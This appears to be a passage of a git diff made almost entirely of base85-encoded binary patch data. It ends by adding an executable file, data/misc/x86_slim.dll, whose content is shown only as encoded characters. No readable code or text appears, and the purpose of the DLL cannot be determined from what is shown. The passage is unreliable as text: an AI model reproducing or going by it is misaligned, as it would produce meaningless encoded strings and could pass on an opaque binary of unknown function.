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 E0Q(QCvj6}9 literal 0 HcmV?d00001 diff --git a/data/misc/x86_slim.dll b/data/misc/x86_slim.dll new file mode 100755 index 0000000000000000000000000000000000000000..5b673edf415b5e861514f7ddc01648eb5095e9f6 GIT binary patch literal 131584 zcmeFaeSB2awLg63CCLeyFastKG)j=DQBWfTnlPXVGD%Q^6JjQen4njP85y>r+t@RVY?)yNaB0+E!}}gBCbd-K_W6z z-qE-9x%z}n3LrL?cuR$Lsm}sMna}EBT|44PPHj*Cl#-fc! zPW~jE^Qg@;>!_J67uq~*ux(hG9-fV;pqcGLOj}Hmqm@Uh%mZh-5amHs>rr)F)PE#k zW;^laex>rriu&bkyOl}W=~N}tdq_K-9&s*n`*#{?5xZfJ$jeyei1#giGX^O8xULK6 zv<$SO8^>V8I=x5rw${I!W-a@?EvBZ;iuK=w9xk5hZlwVhWOE3ca0M_kuQT7#+nSNL zE#_{WhScz~M0EH*5nzKB@_O4Q$~Ek6{Q_k1nmuig;d>Us$UU zPXa1p8kpSR8?R1l0A&EH0M9iVuXHXnM5mNeWj-Qmf715dEsnr>W5q8(R4C(PcsR zq9f+J^;^2o2P?d9E$45fj`o6fEUpc>tX|lqFU*&N5qm^3vn#H#d9;=JvJ_pMFY^pY zjJDW@%bAidgFB{Gv0XvEkfoXd=W8#5Y_C4`V{qGJ=+BUuy%%BWd`J~jtvv-9^#K6Q{{+_|6neFMk`%a z5h)npAE1=E+G!T@{gslW?aHaI>xwu#GKtyWwA&>1Uc|*mQqa7?kgg7Dt41W?dy%Qi z?2I?|lb`%VYj8?EWiqHH@uKr2Nl!KG-eIkB#MHfQ!|J&3cqy%!pMi8?UA!6)cRIm% z$JuzGD02Xov`eM>E=1Kv%Vh9>7CMT>+f4OpR5YVFRT*bqYi1XK2Gg$Bnw*l7X|8kf zl_*J7ha#>Ze*zz&5bIe{-&JL1mmn*(R~zu09SqDbYpaGNZPlQJks6kM0&XZ|pR?mM zO06-edcrw~<_EzVp?;k>u5zd_L|#O9m6b zftlgJ&w%?NSUF@|i9S4AYxo(Ygb$2q=5v(w4UzTGuWehpmV+@$I_iiqK9Rr}C-lmf zh#kNm??W+SM?!iX@Ai+_+KwuP>2)J|-TOq< zXyx1CXHd6Z_cmXSD)qWPL_08zgnufckMME_sJ&i|n|6UU5FOgiU+50MW zG2eF@(hnaTA6t&_*YVjJQ*xtzD?M6sAb<%eMWpjz0<3`vN|_M#9|)ir|2}br_o(6Y z9^KN_3gEQ>&X6ehoaVcY6N2HKU!bPeFOaprRHPrnyq9P;GDmCBx?|SZm@Uf4!SEd@ zW9(u6|3TIxl=VNDdQ3JvRT@yJ_wCIR9GD}pL_{SBN~PZU!)5E0-+)DyIXHY-53H+HW}jbkO`iXmx3P_ ziu{v;VF`8i??C?W0b;oMpM#97^1xUra6kfpG`63|kccj~pMwgkd>ffl_%|nW#0&rkcjDgWxq% z_<49y^3SYfUd8l*_ z2pBRvTBApDKaH6;7T}Y?NgMPz8sNw4(7#BD|8%htiKP%_&C67_y6hF zw)VPDNla<;AIq?NBqc49#$SQb)RRKrfF|)9kQMB|itkK^+VkJjB@f@0hWJ}3n=^mu z#fbP4Fo6-~3xX!N6_(J7}A(VA&f zFUIh{s5(GU{yYp#El45KNUhKvD1~8?qL~i0!h-tXS*Xe!D+($R>NoOPWWFd8NA*rjX3~dI1aJo~9L4`yR3esY{5(U-{I$JJpGZxC)PUs$1!+F zp#_21alQ-ydQuM{2kQovosxE^Q(~RkowC$Z>O6w@9vh{KezJ;OB8m+BgCaws2&GzG zdpug^>`C2@Z!J&K?r=&0(k5fh0Kfly8X1XdqovLs8|4b{4vM#QP#2U)9>E|Fzm4$` 